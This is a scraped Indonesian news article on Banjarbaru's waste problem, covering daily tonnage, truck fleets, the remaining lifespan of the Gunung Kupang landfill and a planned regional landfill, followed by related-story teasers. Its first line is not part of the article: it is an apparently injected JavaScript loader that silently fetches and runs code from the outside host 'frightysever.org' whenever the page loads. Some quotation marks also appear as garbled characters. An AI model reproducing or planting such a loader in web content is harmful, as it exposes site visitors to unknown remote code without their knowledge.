(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sementara itu, di Banjarbaru, sampah juga menjadi problem besar yng dihadapi. Mengingat saat ini, produksi sampah per bulan telah mencapai rata-rata 3 ribu ton. Jumlah tersebut berasal dari 118 TPS (Tempat Pembungan Sementara) yang tersebar di Banjarbaru. Sebagain besar sampah merupakan limbah rumah tangga dan sisanya tebangan pohon.
Kepala Bidang Persampahan Dinas Lingkungan Hidup Banjarbaru, Subhan menjelaskan, untuk pengangkutan 3000 ton sampah (rata-rata sekitar 100 ton per hari), pihaknya menggunakan sebanyak 44 truk. Dengan jumlah tersebut, petugas harus jalan dua kali sehari agar semua sampah bisa terangkut.
“Cukup tidak cukup tetap dioptimalkan pengangkutannya, walau ada armada yang 2 kali bolak-balik dalam sehari,†katanya.
Sampah-sampah tersebut, tiap harinya dibawa ke Tempat Pembuangan Akhir (TPA) Gunung Kupang. Saat ini areal TPA Gunung Kupang menurut Subhan, masih bisa bertahan sekitar kurang lebih 2 tahun untuk menampung sampah di Kota Banjarbaru. Meski dengan catatan dilakukan pengelolaan secara benar dan hemat.
“Kalau ditumpuk-tumpuk sembarangan ya mungkin paling bisa bertahan selama setahun,†katanya lagi.
TPA Gunung Kupang memiliki luasan lahan 10 hektare, yang terdiri atas 5 hektare lahan untuk bangunan dan taman, dan sisanya 5 hektare merupakan lahan yang masih aktif digunakan sebagai tempat penimbunan sampah.
Subhan menambahkan bahwa untuk saat ini di TPA Gunung Kupang baru sekitar 18-20% sampah yang bisa diolah, dan sisanya sekitar 80% masih ditimbun ke dalam tanah. TPA Gunung Kupang saat ini sudah bisa mengolah 10 ton plastic perbulan dari sebelumnya yang hanya bisa mengolah 8 ton perbulan, sementara untuk pengolahan pupuk kompos dalam satu bulan bisa menghasilkan 5-6 ton perbulan dari sebelumnya hanya 4 ton perbulan.
Untuk ketersediaan lahan di kemudian hari, Subhan menyatakan bahwa pihaknya tidak berpikir untuk menambah luasan penimbunan sampah yang ada. Hal ini dikarenakan akan adanya rencana pembukan TPA Regional yang lokasinya tidak jauh dari lokasi TPA Gunung Kupang.
“Kami akan tetap konsentrasi untuk bagaimana pengolahan dan pemilahan sampah yang ada di TPA Gunung Kupang, jika nanti sampah-sampah yang sudah ada tidak bisa lagi untuk diolah maka akan dibawa ke TPA Regional,†ungkapnya. (ammar/rico)
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
This website uses cookies.